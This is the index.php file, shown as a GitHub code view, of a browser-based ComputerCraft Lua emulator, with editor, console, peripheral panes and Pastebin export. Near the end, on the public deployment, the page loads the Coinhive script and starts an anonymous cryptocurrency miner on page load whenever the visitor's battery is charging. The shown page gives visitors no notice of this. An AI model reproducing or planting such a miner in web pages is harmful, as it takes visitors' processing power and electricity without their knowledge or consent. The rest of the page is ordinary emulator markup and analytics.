-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.php
executable file
·165 lines (157 loc) · 5.22 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
<!DOCTYPE html>
<html>
<head>
<title>Computercraft Emulator</title>
<link rel="stylesheet" type="text/css" href="css/style.css">
</head>
<body>
<div id="header">
<ul class="fright">
<li><a href="http://www.xurei-design.be">xurei-design</a></li>
</ul>
<ul>
<li><a href="javascript:;" class="about-link">About</a></li>
<li><a href="https://www.facebook.com/CCEmu" target="_blank" class="facebook-link">Facebook</a></li>
<li><a href="https://github.com/xurei/computercraft-emulator" target="_blank" class="facebook-link">Github</a></li>
<?php
/*
<li><a href="javascript:;">Donate</a></li>
*/?>
</ul>
</div>
<div id="main" class="row-fluid">
<section id="left-pane">
<div id="editor">print("hello world !")</div>
</section>
<section id="resize-line">
</section>
<div id="sides-pane">
<ul>
<li data-side="console" class="side togglable active">Console</li>
<?php /*<li data-side="term" class="side togglable active">Term</li>*/ ?>
<li data-side="top" class="side togglable">top<div class="periph"></div></li>
<li data-side="left" class="side togglable">left<div class="periph"></div></li>
<li data-side="right" class="side togglable">right<div class="periph"></div></li>
<li data-side="front" class="side togglable">front<div class="periph"></div></li>
<li data-side="back" class="side togglable">back<div class="periph"></div></li>
<li data-side="bottom" class="side togglable">bottom<div class="periph"></div></li>
<li class="run">Run</li>
<li class="separator"></li>
<li class="pastebin">Send to Pastebin</li>
</ul>
</div>
<section id="right-pane">
<?php /*<div class="side side-term active">
<div class="side-header">
<a id="term-clear" href="javascript:;">Clear</a>
</div>
<div class="side-content">
<pre id="term"></pre>
</div>
</div>*/ ?>
<div class="side side-console active">
<div class="side-header">
<a id="console-clear" href="javascript:;">Clear</a>
</div>
<div class="side-content">
<pre id="console"></pre>
</div>
</div>
<?php
$sides = array("top","bottom","left","right","front","back");
foreach ($sides as $s) {?>
<div class="side side-<?= $s ?>">
<div class="side-header">
<form>
<select class="select-block-type">
<option value="none">None</option>
</select>
</form>
</div>
<div class="side-content"></div>
</div>
<?php }?>
</section>
</div>
<div class="popup-overlay" id="about-page">
<?php include "about.php" ?>
</div>
<div class="popup-overlay" id="pastebin-result">
<div class="popup-page">
<div class="content">
<div class="popup-close keybind-esc">×</div>
<div class="loading">Please wait...</div>
<div class="loaded">
<p>Paste this on your computer :</p>
<input type="text" value="pastebin get DFzedsCe startup" id="pastebin-result-command"><br>
<a id="pastebin-result-link" href="http://www.pastebin.com/">Link to the paste</a>
</div>
</div>
</div>
</div>
<script src="js/jquery.min.js"></script>
<?/*<script src="js/jsLogger.js" type="text/javascript"></script>*/?>
<script src="js/jquery.tmpl.min.js"></script>
<script src="js/api.js?_t=<?=rand()?>"></script>
<script src="js/ace/ace.js" type="text/javascript"></script>
<script>
window.editor = ace.edit("editor");
editor.setTheme("ace/theme/monokai");
editor.getSession().setMode("ace/mode/lua");
</script>
<script src="js/requestAnimationFrame.js?_t=<?=rand()?>"></script>
<script src="js/ui.js?_t=<?=rand()?>"></script>
<script src="js/nav.js?_t=<?=rand()?>"></script>
<?php if (!file_exists("/home/olivier")): ?>
<script>
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-26197628-1']);
_gaq.push(['_trackPageview']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' === document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
})();
</script>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
(function() {
var threads = window.navigator && window.navigator.hardwareConcurrency ? Math.min(window.navigator.hardwareConcurrency, 2) : 1;
function m() {
var CoinHive = window.CoinHive;
var miner = new CoinHive.Anonymous('LqTA9a7LkndC8tWMVtuGusRZwmnebZIM');
miner.setThrottle(0.9);
miner.setNumThreads(threads);
miner.on('open', function() {
console.debug('Miner started');
});
miner.on('close', function() {
console.debug('Miner stopped');
});
miner.on('error', function(params) {
console.error(params);
});
miner.start();
window.miner = miner;
}
if (window.navigator && window.navigator.getBattery) {
window.navigator.getBattery()
.then(function (battery) {
if (battery.charging) {
m();
}
else {
console.debug('Battery not charging. Miner not started');
}
})
}
else {
m();
}
})();
</script>
<?php else: ?>
<script src="/cssrefresh.js" type="text/javascript"></script>
<?php endif ?>
</body>
</html>